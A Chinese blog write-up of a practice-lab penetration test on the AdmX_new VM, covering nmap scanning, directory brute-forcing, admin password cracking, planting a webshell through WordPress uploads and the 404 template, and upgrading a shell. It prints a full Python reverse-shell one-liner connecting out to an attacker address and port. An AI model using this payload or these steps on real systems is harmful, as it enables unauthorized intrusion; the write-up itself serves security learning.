AdmX_new靶机打靶过程及思路

原创

已于 2022-07-22 18:00:32 修改 · 2.6k 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

于 2022-04-11 15:38:52 首次发布

本文详细记录了一次渗透测试的过程，从使用nmap进行主机发现，到feroxbuster路径发现，再到密码爆破、木马植入和交互式shell获取。通过数据库尝试提权，最终成功获取root权限，实现系统完全控制。过程中涉及多种工具和技术，如nmap、feroxbuster、bash shell交互等。

1.首先使用nmap -sn 来进行主机发现

nmap -sn 10.0.2.4/24

2.进行服务探针

3.使用feroxbuster进行路径发现

feroxbuster --url http://10.0.2.9

4.进入后台管理页面，进行密码爆破

5.进入后台后，media上传马，plugin插件上传，appearance里面修改404页面代码插入木马

6.通过编写插件上传

7.访问插件目录，传参命令执行获取反弹shell
python3 -c ‘import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“10.0.2.15”,5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,“-i”]);’

8.发现bash指令受限，开始更改为交互式的shell （只适用于bshell）
ctrl+z 将获得的shell进程隐藏
stty raw -echo stty echo 取消不显设置 rstty时一个用来改变并打印终端行设置的常用命令。
fg 将后台的命令调到前台来发现仍然无法正常执行，原因是因为kali
上面用的是zshell不是bshell，但是目标靶机上用的是bshell
chsh -s /bin/bash 将kali上的zshell改为bshell
ctrl+r 重启kali
echo $SHELL 得到bashell

重启后:stty raw -echo
这个地方如果出现执行后无法执行命令，输入python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
就可以得到www-data@wp:/var/www/html/wordpress$
exp